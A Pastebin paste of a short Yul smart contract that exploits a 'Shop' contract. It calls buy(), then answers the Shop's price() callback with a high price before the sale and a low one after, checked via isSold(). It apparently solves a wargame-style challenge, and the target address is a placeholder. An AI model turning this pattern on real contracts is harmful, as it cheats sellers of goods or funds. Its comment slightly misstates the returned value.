Advertisement
Guest User

Untitled

a guest
Mar 6th, 2021
554
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.45 KB | None | 0 0
  1. // Use handwritten YUL instead of Solidity to minimize gas costs
  2.  
  3.  
  4. object "Buyer" {
  5. code {
  6. // Deploy the contract
  7. datacopy(0, dataoffset("runtime"), datasize("runtime"))
  8. return(0, datasize("runtime"))
  9. }
  10. object "runtime" {
  11. code {
  12. let data := calldataload(0)
  13. if iszero(data) {
  14. // If calldata is zero, this is the initial call by the attacker.
  15. // Call Shop.buy()
  16. mstore(0x20, 0xa6f2ae3a00000000000000000000000000000000000000000000000000000000) /* selector(buy()) */
  17. let success := call(100000, SHOP_CONTRACT_ADDRESS, 0, 0x20, 0x04, 0x00, 0x00)
  18. if iszero(success) {
  19. revert(0, 0)
  20. }
  21. return(0, 0x0)
  22. }
  23.  
  24. // If calldata is not zero, then this is the call from Shop into our price() method.
  25. // Call into Shop.isSold()
  26. mstore(0x20, 0xe852e74100000000000000000000000000000000000000000000000000000000) /* selector(isSold()) */
  27. let success := staticcall(3000, SHOP_CONTRACT_ADDRESS, 0x20, 0x04, 0x00, 0x20)
  28. if iszero(success) {
  29. revert(0, 0)
  30. }
  31.  
  32. // If Shop.isSold() == true, return 0, otherwise return 100.
  33. switch mload(0) case 0 { mstore(0, 100) } default { mstore(0, 1) }
  34. return(0, 0x20)
  35. }
  36. }
  37. }
  38.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement